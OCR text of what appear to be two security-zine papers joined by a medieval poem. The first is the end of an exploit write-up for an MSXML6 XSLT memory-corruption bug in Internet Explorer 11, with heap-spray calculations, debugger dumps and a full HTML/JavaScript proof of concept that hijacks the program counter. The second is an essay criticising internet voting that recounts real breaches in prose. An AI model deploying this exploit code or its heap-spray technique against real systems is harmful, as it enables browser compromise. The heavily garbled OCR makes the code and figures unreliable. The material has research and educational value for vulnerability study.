dereferences while preserving the leaked bits of data inside the actual 
pointers, we split the page-sized pattern in two halves and fill them 
differently: 


else if (i_pattern < 0x0700) 


intArr[i] = ptrl2base + ptrl; 
else 
intArr[i] = ptrl2base + ptr2; 


This trick is only possible because of very little entropy observed in the 
high-order part of the randomly allocated stack offset, which tends to be 
around 0x04xxxxxx-Ox06xxxxxx. Hence we in fact only want to leak 11 bits 
of the address and not 16, for which a 0x700 bytes pattern is sufficient. 


5. We differentiate the pointers in the two parts of the pattern by 
adding and removing a hand-picked, semi-random delta value to the leaking 
part of the pointer: 
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var delta = 0x3300; 


6. Finally, we adjust the calculations to the values of the respective 
dereference indexes, .g. [eax+8] for the first read, as well as to the 
size of the heap header, which is 0x20 with full page heap: 


ptrl = (i_pattern - 8 + 0x20 + delta); 
ptr2 (i_pattern - 4 + 0x20 - (delta&Oxfff)); 


Note that we mindfully use a delta value bigger than the size of the 
pattern, and then we also preserve the 2 higher bits of the added delta 
value in the 2nd stage pointers, that will eventually increase the 
reliability of the padding in the cases of misaligned memory access by 
ensuring that the majority of bytes in the spray will be equal to 0x38, 
and thus the final pointer will likely point into the controlled memory 
around 0x38xxxxxx, regardless of both the reading 

alignment and the leaked bits in the pointer. 


As a result of the correctly calculated and a correctly positioned 
padding, the initially read memory offset will re-surface in the program 
as the low-order word of the value that’s eventually read from the range 
Ox3838xxxx: 


0:007> dd 4b6004e0+8 
4b6004e0 = the original AV pointer 
Oth read // mov edx,dword ptr [eaxt8] 

b6004e8 383837e0 383837e4 383837e8 383837ec 
b6004f8 383837f0 383837f4 383837f8 383837fc 
b600508 38383800 38383804 38383808 3838380c 
b600518 38383810 38383814 38383818 3838381c 
b600528 38383820 38383824 38383828 3838382c 
b600538 38383830 54545454 38383838 3838383c 
b600548 38383840 38383844 38383848 3838384c 
46600558 38383850 38383854 38383858 3838385c 
0:007> dd 383837e0+4 
; lst read // 04e0 is the high word of the stack address 
383837e4 383804e0 383804e4 383804e8 383804ec 

383837f4 383804f0 383804f4 383804f8 383804fc 

38383804 38380500 38380504 38380508 3838050c 

38383814 38380510 38380514 38380518 3838051c 

38383824 38380520 38380524 38380528 3838052c 

38383834 38380530 38380534 54545454 3838053c 

38383844 38380540 38380544 38380548 3838054c 

38383854 38380550 38380554 38380558 3838055c 


~“e 
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The read value, that is the two leaked bytes of the stack offset, will 
then be used by the application itself to restore the original 3rd 
pointer, which results in retrieving of the correct address of the 
dynamic call in XEngine::brns(), and resuming of the program execution 
like if there was no vulnerability: 


0:007> p 

; our crafted value (read from the memory padding) 
; with 2 leaked bytes of the stack address 04e0: 
eax=383804e0 


; write the crafted value 
msxml6!XEngine::stns+0x15: 
6f£6f£9c94 8981a4000000 mov dword ptr [ecxt+0A4h],eax 


; value written via the misaligned pointer: 
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0:007> dd ecxta4 11 
1llb3dfe6 4c1404e0 


; value read via the sane pointer: 
0:007> dd ecxta4-2 
1llb3dfe4 04e04c2c 


; looks good: 
0:007> dds 04e04c2c 
O04e04c2c 6f6e44b8 msxml6!RTFNodeSet:: ‘vftable’ 


; the original call pointer restored: 
0:007> dds poi 04e04c2c 
6f6e44b8 6f6e44d5 msxml6!XPSingleTextNav<WhitespaceCheck>::_getParent 


And the result is the target application passing the crash-inducing code 
without a crash: 


Message from webpage X 


Look, no calc! 


/ OK / 


+—————— + 
*—————— + 


= AZ The offset-to-value translation 


As per my testing boxen, the upper word of the stack address would never 
exceed 0x06xx, and thus the crashing pointer would always fall within the 
first 0x700 bytes of the target memory page, so the remaining 0x900 bytes 
of the page may be used for the translation purposes: 


var i_pattern = i*4%0x1000; // index into the current page 
ptrl = (i_pattern - 8 + 0x20 + delta); 
ptr2 = (i_pattern - 4 + 0x20 - (delta&0Oxfff)); 
if (i_pattern < 0x0700) 
intArr[i] = ptrl2base + ptrl; 
else 
intArr[i] = ptrl2base + ptr2; 


The problem here is that the original crashing pointer is not guaranteed 
to be correctly aligned, while the memory translation pattern must be 
dword-aligned. That is, the correctly aligned memory access will result 
in reading a value like 0x3838XYZQ from the spray, where XYZQ are the 
leaked bits of the stack offset. But let’s see what’s read with a 
misaligned pointer: 


a. off by 1: Ox38XYZQ38 


In this case the pointer still falls into the controlled memory area, but 
the XY bits of the leaked stack address will be mangled, because we can 
only guarantee 64Kb alignment of memory allocations. 


b. off by 2: OxXYZQ3838 


All bits of the stack address are lost, and the pointer looks 
unpredictable. But we can still enforce this to point to the controlled 
memory around 0x38xxxxxx by adding a specially crafted delta value of 
0x3300 to calculated pointers in the spray as was mentioned earlier. So, 


10.txt Wed Apr 26 09:43:48 2017 25 


e.g. the read value 0x07073838 will become a valid pointer to 0x3a373838. 
This is possible because the high 4 bits of the stack offset tend to be 
zero. 


c. off by 3: 0xZQ3838XY 


Most important bits of the stack offset are lost in this case, and also 
the ZQ leaked bits are highly entropic and cannot be made predictable as 
in the case b. Not much can be done with this case, that’s likely to 
point into random memory and possibly cause an access violation. 


One thing to notice about the misalignment cases above is that both 
pointers a. and b. quite logically end with 0x38 that we use as the 
pattern base. So, we can catch 2 out of 3 misalignment cases in the code 
by checking the final byte against this value, and then address them 
specifically e.g. to fall back to raw EIP control instead of allowing a 
crash: 


// the address ends with 0x38+4: 


if ( ((i*4+0x20) &0xff) == (pbytet+4) ) 
intArr[i] = ptrceall; 
0:007> r 


eax=4fc0055e ; the crashing pointer 


0:007> dd eax+8 

Oth read: misaligned 

Fc00566 38603838 38643838 38683838 386c3838 
Fc00576 38703838 38743838 38783838 387c3838 
FcO00586 38803838 38843838 38883838 388c3838 
Fc00596 38903838 38943838 38983838 389c3838 
Fc005a6 38a03838 38a43838 38a83838 38ac3838 
FcO005b6 386503838 386543838 386583838 38bc3838 
FcO005c6 38c03838 38c43838 38c83838 38cc3838 
4£c005d6 38d03838 38d43838 38083838 38dc3838 
0:007> dd 38603838+4 

; 1st read: special value 

3860383c 54545454 3838053c 38380540 38380544 
3860384c 38380548 3838054c 38380550 38380554 
3860385c 38380558 3838055c 38380560 38380564 
3860386c 38380568 3838056c 38380570 38380574 
3860387c 38380578 3838057c 38380580 38380584 
3860388c 38380588 3838058c 38380590 38380594 
3860389c 38380598 3838059c 383805a0 383805a4 
386038ac 383805a8 383805ac 383805b0 383805b4 
0:007> dd 54545454 

; 2nd read / call address 

54545454 O0baddle O0baddle O0baddle OObaddle 
54545464 O0Obaddle OO0baddle O0baddle OObaddle 
54545474 O0baddle OObaddle O0baddle OObaddle 
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Regarding the last, 3-bytes misaligned memory access case that reads 
pointers like 0xZQ3838XY where ZQ is totally random, this is asking to 
precisely control the contents of entire memory space of the process, 
that may be not impossible but is likely not worth it. So I leave it 
alone as a crash. 


The final code is: 


<!doctype html> 
<html> 
<head> 


<script> 
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function crash() 


{ 


} 


xslcontent= 

'<xsl:stylesheet 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" \\ 
version="1.0"><xsl:template name="main_template" 
match="/"><xsl:for-each \\ 
select="*"><xsl:apply-templates/></xsl:for-each> 
</xsl:template><xsl:template \\ name="xx" 
match="x[position()]" /></xsl:stylesheet>’; 


srcTree=new ActiveXObject ("Msxml12.DOMDocument.6.0"); 
xsltTree=new ActiveXObject ("Msxml2.DOMDocument.6.0"); 
xsltTree.loadXML(xslcontent) ; 

alert ("crash"); 

srcTree.transformNode (xsltTree) ; 


function selfpatch () 


{ 


// !!! +hpa required !!! 
// be msxml6!xengine::stns;bp msxml6!xengine::brns;g; 


var intArr = new Array; 
intArr[0] = Ox0lcOffee; // marker // s 0 1280000000 ee ff cO O1 
var count = (0x19000000-0x20)/4; // 400 Mb 


// ptr0(spray/crash) ->ptrl->ptr2->ptr3->shellcod 
// O0x3a..0x40.. -> 0x3838xxxx -> 0x3838yyyy -> patch or shellcode 


var pbyte = 0x38; // play with me 

// landing for the initial memory access: 

var ptrl2base = (pbyte<<24)+(pbyte<<16); //0x38380000 

var ptrl = 0; // calculated from the page offset 

var ptr2 = 0; // calculated from the page offset 

var ptrceall = 0x54545454; // 0x5454xxxx -> pointers to call address 


var delta = 0x3300; 

// delta is added and removed to segregate the lst 

// and the 2nd memory access areas within the pattern; 
// the additional bits above 0x1000 are used to enforce 
// the successful 1-byte misaligned memory access 


for(var i=l; i<=count; itt) 
{ 


var i_pattern = i*4%0x1000; // index into the current page 


// let’s fill the spray tail with plain pointers to shellcode 
if ( i>(0x12000000/4) ) // which defines where the ‘tail’ begins 
{ 


intArr[i] = 0x00baddle; 
continue; 


} 


ptrl = (i_pattern - 8 + 0x20 + delta); 
ptr2 (i_pattern - 4 + 0x20 - (delta&0Oxfff)); 


// misaligned memory access: fallback to code exec 
if ( ((1*4+0x20) &0xff) == (pbytet+4) ) 
intArr[i] = ptrcall; 


// well aligned memory access: restore the pointers 


else if (i_pattern < 0x0700) 
intArr[i] = ptrl2base + ptrl; 
else 
intArr[i] = ptrl2base + ptr2; 
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crash(); 
alert ("Look, no calc!"); 


} 


function factorial (n) 
{ 
if (n == 0) 
{ 
selfpatch(); 
return 1; 
} 
else 
return n * factorial(n - 1); 
} 


</script> 


</head> 
<body onload="factorial (30) ;"> 
<form id="a"> 
</form> 
<dfn id="b"> 
</dfn> 
<div id="resTree"></div> 


</body> 
</html> 


On my testing boxes, the final proof-of-concept code yields a self-patch 
in 25% of test cases, a fallback control in 50% of cases, and the 
inevitable crash in 25% of cases. This result agrees with the theoretical 
expectation of the maximal possible gain from the offset translation 
approach. The previous code-execution only proof-of-concept code should 
yield EIP control in 100% of test cases. 


--[ 5 - Further work 


Taking the bug to arbitrary code execution is considered out of scope for 
this paper, but let’s review the state of the art. 


Although the bug itself allows for the full control over the program 
counter, as it was showed with the proof-of-concept provided in the 
section 3.7, such a possibility is inherently burdened with two factors: 


1. A heap spray is required due to the entropic nature of the bug, that 
makes the pe control less reliable, if not... 


2. ...if not impossible, in the case of x64 bit systems with memory too 
wide to spray. 


Few years ago a browser EIP control would be considered a ’game end’. But 
today it’s just the beginning of a completely different game, or rather, 
of two different games: mitigations bypass for a sandboxed code 
execution, and a sandbox bypass for the arbitrary code execution. 


In this game, Internet Explorer 11 is possibly the 2nd best hardened 
popular product, after the Google Chrome. Each major version of IE in the 
past years has introduced a major improvement to the system of security 
mitigations, up to the point when Microsoft was able to back and test the 
state of the product security with a $100k worth Bypass bounty, which 
says a lot. Another important indicator is the statistics for real IE11 
exploits that may be observed both ITW (in the wild) and in the 
metasploit, that’s pretty scarce. 


Among the dozens of mitigations included in the modern IE[4], many old 
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mitigations have become largely irrelevant, along with the corresponding 
classes of bugs that were gradually audited out of existence (such as 
buffer overflows and the corresponding GS stack cookie mitigation). On 
the other hand, the newer mitigations for more realistic classes of bugs 
such as Use-after-fr are still too weak, e.g. the IsolatedHeap which is 
only selectively relevant to certain bugs, or MemoryProtection which 
includes the side-walks allowing to bypass it in 

practice[5]. The new Control Flow Guard included in Windows 8.1 has been 
bypassed both in the wild and in research[6] even before its full backward 
deployment on the still-popular systems like Windows 7. Only two 
mitigations before the sandbox are universally frustrating for a binary 
researcher regardless of a bug class: DEP strictly in conjunction with a 
forced ASLR. 


The ForceASLR mitigation was introduced in IE10, and wiped a whole class 
of easy and reliable DEP+ASLR bypass techniques which relied upon both 
system and 3rd party DLLs compiled without the explicit support for 
ASLR, allowing for constructing an executable ROP chain with pieces of 
their code at known addresses. 


Another opportunity that allowed to bypass DEP+ASLR in a generic way was 
utilizing executable memory pages generated by ‘Just in time’ compiler of 
Adobe Flash.[7] This technique had been mitigated early on, although it’s 
not clear whether it’s completely dead. In any case, it is limited due to 
the Adobe Flash dependency. 


The main[stream] technique used today to bypass DEP+ASLR is to leak some 
information about the process address space via a memory-leaking 
opportunity, typically a forced memory leak with a memory corruption 
vulnerability.[8] The most common way observed to force a memory leak is 
to corrupt a client-readable object in a certain way allowing for removal 
of the reading limits: such as a BSTR string in JavaScript (which is said 
to be removed from jscript9.dll with IE9 but can still be accessed in 
TE11[9]), various arrays in JavaScript and the Vector object in Flash. To 
achieve such a bypass, either a second vulnerability must be used, or in 
some cases, the same vulnerability can provide both a code execution and 
a memory leaking opportunity. 


Another branch of research worthy of a notice is the class of ’lazy’ 
arbitrary code executions introduced by Chinese researchers[10], that 
takes a write-what-where vulnerability condition to enable a privileged 
JavaScript execution instead of dealing with shell codes. This is not a 
bypass technique in its own, because it still relies on a memory read/ 
write vulnerability that can provide a memory leak anyway, but rather an 
example of a minimalist goal-oriented thinking as opposed to the 
overcomplicated fighting with complications. 


Jumping back to our bug, it is important to highlight that, because the 
target software is a global system framework rather than a direct attack 
surface, IE might be the worst possible attack vector. Instead, one might 
want to focus on covering a number of secondary vectors, that are less 
constrained with mitigations (e.g. Microsoft Office for which an ASLR 
bypass should no be an issue). As it ws shown in the Table in the section 
2.2, it’s possible to trigger the bug in Office 2007 via an embedded 
JavaScript. Another possibility to mention, that MS Word has a poorly 
documented functionality for using XML templates with XSL transformation 
functionality, that might possibly be a vector 

as well. And most importantly, many internet-facing web applications 
based on ASP.net might be vulnerable with maybe a no-user-interaction 
code execution on a Windows server. 


-—-[ 6 — Conclusion 


In this paper we have thoroughly analyzed and demonstrated a certain 
control over a curious specimen of a critical modern vulnerability ina 
core Microsoft product, which somehow remained undercover for 2 years 
despite of the publicly available trigger. We have also introduced a few 
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bits of previously unpublished information concerning MSXML internals, 
JavaScript 9 internals, heap spraying with images as well as general 
heap spraying in the latest Internet Explorer. 


In order to analyze and control a modern binary vulnerability, a set of 
distinct operations is applied, all of which we have revisited: 


impact vectors research, 
crash dump analysis, 
exploitability estimation, 
patch binary analysis, 

and root cause analysis. 


A seemingly uninteresting bug, previously discarded by automated tools 
and superficial analysis, may turn out to be exploitable as a result of 
an all-round investigation. 


There may exist a multitude of ways to remotely reach a particular 
vulnerability, apart from the most obvious (and likely the most 
constrained) attack vector. 


Deducing any specific vulnerability details from a vulnerability patch 
only, such as the triggering inputs or the root cause, may be extremely 
hard or impossible due to both the binary diffing complexities of large 
amounts of binary code modifications and the possibility of a seemingly 
irrelevant code being changed. 


A bit-accurate precision of the crafted input may be required to take a 
vulnerability condition such as a read access violation to the control of 
the program counter through the chain of code constraints along the 
execution path, as well as an extensive grasp of the operating system 
internals and a pages-accurate control of the target process memory space. 


Bits of useful data may be leaked about the crashing context through 
ordinary memory access operations, even when no explicit information 
leaking opportunity is provided by the vulnerability. 


Internet Explorer 11 memory may be filled quickly with controlled data 
that would be positioned predictably enough to control a highly entropic 
vulnerability, despite the allocation randomization as well as the 
possible anti heap-spraying mechanisms in place. 


Microsoft XSLT technology is implemented as a simple virtual machine, 
taking the input XSL code through the abstract syntax tree generation 
with the ASTCodeGen class to ’XCode’ compilation with the XCodeGen class, 
to stateful frame-based computation with the XEngine class. 


A huge memory spray may be contained in bitmaps, compressed into the PNG 
format with zero loss. 


A memory leaking opportunity will be required to take the vulnerability 
from EIP control to shellcode execution. 
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A! Fredome is a noble thing 
Fredome mays man to haiff liking. 
Fredome all solace to man giffis, 
He levys at es that frely levys. 

A noble hart may haiff nane es 
Na ellys nocht that may him ples 
Gyff fredome failyhe, for fre liking 
Is yharnyt our all other thing. 
Na he that ay has levyt fre 
May nocht knaw weill the propyrte 
The angyr na the wrechyt dome 
That is couplyt to foule thyrldome, 
Bot gyff he had assayit it. 

-— John Barbour, Brus Book I [26] 
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--[ 1 - A Backstory 


It’s June of 2024 and a group of wealthy and powerful men are sitting ina 
lounge room tucked away in the San Bernardino mountains, 80 miles east of 
Los Angeles. Thick and acrid cigar smoke fills the room. But sickening to 
me is the horrible stench of an entire nation’s leadership being robbed. 


The men chat and haggle over what candidate will b lected president, 


senator, and so on. 


The mess here in the U.S. was kickstarted 24 years ago in the 2000 


election of Bush v. Gore. It took over a month to declare a winner 
because of a dispute over vote counting in Florida. George Bush 
eventually won Florida by 537 votes, or 0.009% [1]. There was a 
tremendous amount of controversy over confusing ballots, errors with 
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punch cards, and recount anomalies. 


In the aftermath, well meaning people called on computers to solve the 
United State’s voting issues. After all, computers have simplified all 
other matters of life. But these people acted in a bit of arrogance; they 
didn’t understand the technology. They banked with the computer, chatted 
with the computer, shopped with the computer, so surely it could be 
trusted for voting as well. But they didn’t understand the depths of 
computer security problems, or why voting is fundamentally different than 
all the other aforementioned tasks. Security experts, almost universally 
against electronic voting, were dismissed as paranoid. 


In response to public demand, Congress passed the Help America Vote Act 
that sought to replace punchcard and lever voting machines [38]. And thus 
it is that our elections are now decided by the whim of powerful groups 
controlling the elections servers. This paper will dissect the problems 
that plagued internet voting from the very beginning. 


--[ 2 - Why Do People Want Internet Voting 


Before taking any serious examination of the flaws inherent in internet 
voting, the question must be asked, why do people want internet 

voting? The answer is: 1) civic engagement, 2) money, 3) want of power, 
and 4) technophilia. 


Some activists believe internet voting will increase voter turnout and 
thus cause higher civic engagement. That leads to the question, "Does 
internet voting significantly increase turnout?" In 2002 some local 
elections in the UK used an internet voting pilot, which lead to a 3.5% 
i 

t 

V 

e 


ncrease in voter participation [6]. It is, however, impossible to prove 
hat this was because of internet voting [6]. Even if the increase in 
oter participation was 50%, increasing voter participation at the 
xpense of having trustworthy elections is not a wise scheme. In the 
United States anyone can vote by mail, by sending in a form and mailing 
back a ballot that is sent to them. If participating in democracy is not 
important enough for someone to mail a piece of paper, should we really 
be bending over backwards to extend democracy to them? 


Money is an inherent problem in online voting because there is a lot of 
money to be made in voting systems. In the United States, open source 
solutions are often not adopted by the government. If Internet voting was 
ever seriously put in legislation here, companies would spew all sorts of 
exaggerations about the security of their systems to receive lucrative 
contracts to develop the system. Also, in the case of electronic voting 
machines, the companies long lobbied to keep their source code a 
proprietary secret. That we entrusted the integrity of our democracy to 
it was irrelevant to their patent attorneys [7]. 


There is also an argument that internet voting will save money on the 
cost of running elections. While it might, it’s not clear that the cost 
of maintaining and developing the technology is actually cheaper than 
using paper ballots. More importantly, the purpose of an election is not 
to do it as cheaply as possible, but to have reliable results. It makes 
no sense to undermine elections to save money. 


Why those seeking power want in on internet voting is a longstanding 
issue. Boss Tweed, the corrupt New York City politician estimated to have 
stolen from $1 billion to $8 billion in 2010 dollars [8], said, "As long 
as I get to count the votes, what are you going to do about it?" [35]. 
Controlling the elections officials counting the votes was (and still is) 
one of the simplest ways to rig an election. This fraud is committed on 
local scales, however, as in the United States it is thought to be 
relatively impractical to rig a federal election county by county. 


Of course, it could happen in the U.S., and certainly it has happened in 
other countries. Consider, the 2011 election in Russia, which was 
reported to have numerous and severe irregularities on a national level 
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[39]. In Ghana as well there were complaints of widespread fraud 
designed to rig their 2012 election [40]. 


Even in countries where this is possible to achieve, it takes a lot of 
coordination and work to pull off, requiring loyal political machines (or 
serious threat of violence). Internet voting, however, makes the fraud 
much easier to commit as it is possible to attack single points of 
failure -- a central counting server, or a piece of software running on 
numerous precinct servers. Who wouldn’t want to control the software 
tallying the votes? At worst an entire country’s results could be 
manipulated, and even if each region or district had their own system, 
groups could have a lot of influence controlling a regional election. 


Finally, technophiles can be a driving factor behind internet voting. 
These are people who just love having new technology for the sake of 
having new technology. In fact, I myself am guilty of loving the latest 
and greatest products. But in some cases, such as internet voting, we 
ought to be careful to make sure that technology is really improving the 
Situation. So to the technophiles, even though I know they mean well, I 
ask them to please be restrained and think about the consequences of 
internet voting before we jump out of our seats for it. 


--[ 3 - The Evolution of Counting Votes 


Before the American Revolution, voting was generally conducted by voters 
calling out their votes which a clerk recorded next to their name [2]. 
This made verification of vote counts very easy, but obviously introduced 
a lot of opportunity for retaliation, vote buying, etc. By the time of the 
American Revolution the Americans and French were exploring the use of the 
secret ballot. The French constitution in 1795 mandated, "all elections 
are carried on by secret ballot" [2]. 


Of course as voting by ballot began to catch on, so did ballot stuffing. 
In 1856 a vigilance committee in San Francisco found a ballot box with a 
false bottom trap that stored ballots. It would look empty upon 
inspection before voting, and after the polls closed, the other ballots 
could be secretly mixed in. Some of the first technology to combat these 
tricks was quite simple: in 1858 Alan Cummings and Samuel Jollie both 
patented transparent ballot boxes. The design was quite simple: a glass 
globe in a wooden frame so that the ballots were always plainly in view 
from the start of voting to the moment of tabulation. This same principal 
is still used in many countries, although plastics have generally 
replaced glass [41]. 


Twenty years before the advent of the glass ballot boxes, the Peoples’ 
Charter of 1838 in Britain had already described a voting machine. I 
strongly encourage the reader to have a look themselves at the image in 
[42], but in it a brass ball was dropped into a hole, corresponding to a 
candidate, which registered a vote on a dial. 


In 1892 the Myers Automatic Voting Booth was first introduced in the 
United States [43]. According to Douglas W. Jones of the University of 
Iowa, in the 1890s these machines were on the cutting edge of technology, 
with a tremendous number of moving parts. These machines did not provide 
a voting record for each voter, but simply had a counter behind each 
candidate which displayed their total number of votes. 


Electoral fraud was of course already a big problem with these mechanisms, 
and isn’t a new concern with internet voting; my concern is just the 
extent of it. In 1934 Joseph P. Harris published his report on voting 
fraud in the United States [44]. He summarized types of fraud as such: 


Registration frauds Register dead, non-existent voters, etc. Votes are 
then cast under the fake voters’ names on election day. 


Repeating - Persons go from precinct to precinct voting under the names of 
these bogus voters, or even under the names of real voters. 
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Ballot box stuffing - Officers overseeing the election will stuff ballots 
into the box. To avoid obvious counting issues, they will check off the 
name of a no-show voter for each fraudulent ballot inserted. 


Chain ballots - A marked official ballot is given to a voter in the 
morning. The voter is to deposit the market ballot and return the blank 
ballot given to them at the polling station. They are paid once the blank 
ballot is returned. This process continues all day. Harris notes a lack 
of evidence that this was a common practice. 


Assistance to voters -— Voters may ask for assistance while casting their 
ballot. This is an easy way to break voter secrecy and ensure people ar 
voting "the right way." They may ask for assistance willingly, or they may 
be intimidated into doing so. 


Intimidation and violence - Chicago, IL is a notoriously corrupt city. 
Harris noted whole sections of the city being terrorized by "the gun play 
of gangsters." Kidnapping had even been used to remove determined poll 
watchers. 


Altering ballots - If a voter fails to vote for all candidates, an 
election officer can simply add marks for their preferred candidate. 
Likewise excess marks can be added to disqualify a ballot voting for 
unfavored candidates. 


Substitution of ballots - Legitimate ballots may be discarded, and other 
ballots substituted for them. 


False count and false returns - It’s well understood that it’s much easier 
to simply rig the counting of votes than to alter ballots. In some cases 
ballots are not counted at all, and results are simply fabricated. Votes 
can also be read and/or recorded incorrectly by various precinct workers. 


Altering returns —- The precinct returns can be altered by officials in the 
election office. 


Specific to lever voting machines one reported form of fraud is to break 
the teeth of the gear for a specific candidate’s counting mechanism. This 
means that once during a cycle of the gear, a vote for that candidate is 
not registered. In Philadelphia in 1978, there was an election to 
determine if the mayor would be allowed to run for an additional term, as 
he faced a term limit. During the elections, the machines failed, 
curiously at high rates in districts that strongly opposed the mayor. 
Unfortunately, a suitable report of why the machines failed was never 
produced [2 


The next major technology change in voting came with the advent of the 
punchcard. Punchcards themselves are just what they sound like -- cards 
with perforated dimples that can be punched out to vote for a candidate. 
However, aS was seen in the 2000 United States presidential election, they 
are susceptible to chads that are not not fully pushed out, creating 
controversy over how to count those. Around the same time, optical 
scanning machines rose to popularity. With these machines, which many of 
us have used for exams in our school days, the voter bubbles in their 
choice with a pencil or pen. 


The next piece of voting technology, which moved closer yet to internet 
voting, was the direct recording electronic voting machine, or DRE. These 
are computers in which people place their votes, which are then 
electronically tabulated. These machines are certainly more efficient 
than paper ballot counting, but are riddled with grave security issues 
[47]. I would love to explore those issues further, however, the focus of 
this paper is on internet voting. 


[ 4 Where is Internet Voting Piloted and Used 
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Now that we understand why people want internet voting, and the history of 
voting technology leading to this point, for this paper it’s important 
that we understand where internet voting is being used already, and what 
we know about these systems. I begin with an example of Washington D.C. 
because it is a rare case where the public was allowed to fully 
penetration test the system in a mock election. 


In 2010 Washington D.C. embarked on a pilot project to allow voters to 
participate in local elections through an online voting system. In 
September 2010, before collecting real votes, the Board of Elections 
conducted a pilot test allowing any member of the general public to vote 
and test the security of the system. Ultimately an attack by a team of 
researchers from the University of Michigan caused them to cancel the 
online voting initiative. The researchers were able to seize control of 
the servers, unmask secret ballots, and alter the final election results. 
The following information is a summary of what the Michigan team found ( 
please see [9] for a copy of their paper). 


The system itself used a stack consisting of Ruby on Rails, Apache, and 
MySQL. A front end web server receives HTTPS requests from the voters and 
then reverse-proxies them to the application server which hosts the 
software and stores the ballots. Multiple firewalls work to complicate 
attacks by blocking outbound TCP connections. The University of Michigan 
researchers noted that the intrusion detection system in front of the web 
server failed to decrypt the HTTPS connections carrying their attack. 


[To login to the system the voter needs to use a voter ID number, 
registered name, residence ZIP code, and 16-character hexadecimal PIN. 
These credentials were sent out to voters in the mail. 


The ballots themselves are PDF files, filled out by the user with a PDF 
reader, and then uploaded to the server. To safeguard ballot secrecy, they 
are encrypted with a public key issued by elections officials. When the 
election ends they are transfered from the server to an offline machine, 
holding the private key, where they are decrypted and counted. Think about 
that -- they go through the trouble of keeping the ballot counting machine 
offline but allow arbitrary PDF files to be opened on it. :> 


Here are a few of the attacks that the Michigan team found. They stole the 
public key, which despite the term public key should actually be kept 
secret because it allows the application server to encrypt arbitrary 
ballots to substitute real ballots. Once they stole the key, they indeed 
used it to replace all of the previously cast ballots with forged ballots 
that voted a ticket of their choosing. They then replaced the ballot 
processing function with a modified function that would replace each 
voted ballot with their forged ballot. This also broke the secret ballot 
concept, as they used the new ballot processing function to track each 
voter. And, an unencrypted copy of each ballot was stored in /tmp by the 
PaperClip Rails plugin before encryption, so they could correlate the 
file time to the logs and then match past ballots to voters. The database 
credentials were located in the bash history file. 


A 937 page PDF file containing all of the voters login credentials was 
even located on the server, sitting in /tmp. And these were the 

credentials for the REAL election, not merely the pilot test. Had the 
real election not been canceled they could have used those to vote as 
actual citizens. 


Of course once finished they cleaned up the logs and removed all of their 
files from the application server’s directories. 


To mark their territory after completely infiltrating the online voting 
system, they programmed the confirmation page to play the University of 
Michigan fight song when each user cast a ballot. 


Despite their musical calling card, it took officials in D.C. 36 hours to 
detect the attack and stop the pilot (another test user asked on a mailing 
list what song is played for a successful vote, raising their suspicions). 
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There are many other examples of internet voting in use. These are given 
as examples of countries using internet voting and not necessarily 
examples of it being broken, but I do take the liberty of pointing out 
concerns that I may have. 


Canada. Although not used in federal elections, there are municipalities 
in Canada that allow internet voting. A demo of the Intelivote System is 
available at [45], however it had known hiccups in recent elections. In 
2010 the system was being used across Ontario and it crashed late in the 
election [46]. The president of Intelivote Systems Inc. claimed it was 
because of unexpectedly high user demand, combined with a hardware 
failure. The company claimed "the integrity of the vote activity was not 
compromised and (Intelivote) is confident in the official election 
results" [46]. 


Very troubling, however, is that the company, in the statement I found, 
did not report having any outside parties evaluate the system to verify 
the integrity. Any company would certainly have financial incentive to 
cover up a hacked election, although I have no evidence to suggest 
InteliVote did any such thing. I simply raise the point. A more 
reasonable, and less accusatory scenario, is that they themselves may not 
have realized if they were hacked, or not have gone to enough length to 
find out. The fact that these incentives exist mean it is critical any 
internet voting system is heavily audited by independent agencies. 


New Jersey. On October 29th, 2012 Super-Storm Sandy battered the east 
coast of the United States, with New Jersey being particularly hard hit. 
The 2012 United States presidential election was held just a week later, 
and many displaced residents needed a way to vote. The governor ordered 
displaced citizens be allowed to vote by e-mail or fax [17] [18]. Not only 
does this break ballot secrecy -- your email address being tied to your 
ballot -- but your ballot can be compromised with hacking techniques from 
the early days of Phrack, rather than advanced attacks. 


Although I have yet to see a detailed analysis of the results of the 
e-mail voting in New Jersey, I have found reports of at least a few 
issues [36]. Voters voting by e-mail are required to mail in a paper copy 
of their ballot, however several county clerks, and the executive 
director of the New Jersey Democratic Party, did not know this. Most 
likely thousands of voters did not know either. The requirement of 
mailing a separate paper ballot always raises the question that I don’t 
understand: why bother? If they actually count all of the paper ballots 
that each person had to mail, the e-mail voting was just a nice song and 
dance and actually did not make anything more convenient or cheaper. If 
they do not verify all the paper ballots, there was no point in sending 
one, and then the results are not trustworthy. This leaves a choice 
between convenient or trustworthy, and in an election we should always go 
for the trustworthy option (paper ballots). 


Arizona. The 2000 Arizona Democratic Party presidential primary was the 
first major election held over the internet [19]. For the non-Americans 
out there (most of the world), the political parties in America have many 
candidates who want to run for president under the party’s name, and thus 
they hold a primary election to pick their candidate. The private company, 
Election.com, hired to run the election reported that there was no 
hacking. This was a groundbreaking precedent for a major public election 
to include internet voting. 


United States. The United States allows deployed service members of the 
military to vote online. 


Estonia. The first country to use internet voting on a national basis was 
Estonia in 2005. Estonians have a national ID which contains an embedded 
digital certificate, which combined with an individual’s PIN, can be used 
to uniquely identify that individual. An individual needs a $7 smart card 
reader, which will scan their digital certificate. The voting website can 
then use this, combined with the PIN, to authenticate the individual 
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According to the PDF in [20] the ballots are secured and 
kept secret through this process: 


"A doubl nvelope schem 


in some countries guarant 
The voter’s choice is encrypted by the 


vote. 
voting application (i.e. 


used for postal voting 
s the secrecy of the 


voter seals the choice 


into an inner blank envelope) and then signs it 


digitally (i.e. puts th 


inner envelope into 


the outer one and writes his or her name and 
address on it). The signed and encrypted votes 
(outer envelopes) are collected to the central 


site for checking and ensuring that only one 
vote per voter is counted. Before counting, 
digital signatures with personal data (outer 
nvelopes) are removed and anonymous encrypted 


votes (inner envelopes) 


ar ntered into the 


ballot box for counting. 


The scheme uses public 


key cryptography" 


So what do I think of this implementation of internet voting? A few 


thoughts. First off, 


observers from OSC 
Europe/Office for 
security issues with the 2007 election 


Among the issues, 
voting software at will, 
easily be put onto the server. 


Estonia is rare in that all of its citizens have a 
national ID card equipped with a smart chip inside. Even then a team of 
E/ODIHR (Organization for Security and Cooperation in 
Democratic Institutions and Human Rights) found major 


[2]. 


the project manager was able to push changes to the 
meaning a version modified by insiders could 
Furthermore, a code review report was never 


produced, and there is no policy in place dictating when internet votes 


would be invalidated. 
all countries: 


was fraud we 


enough to hack a country’s election wil 
le will know to invalidate the votes. Rather they would 
lts that were statistical] 


way that peop] 
generate resul 


I cannot stress this point enough, as it applies to 
most internet voting advocates say, "Don’t worry, if there 
could always invalidate th 


internet votes." But nobody smart 
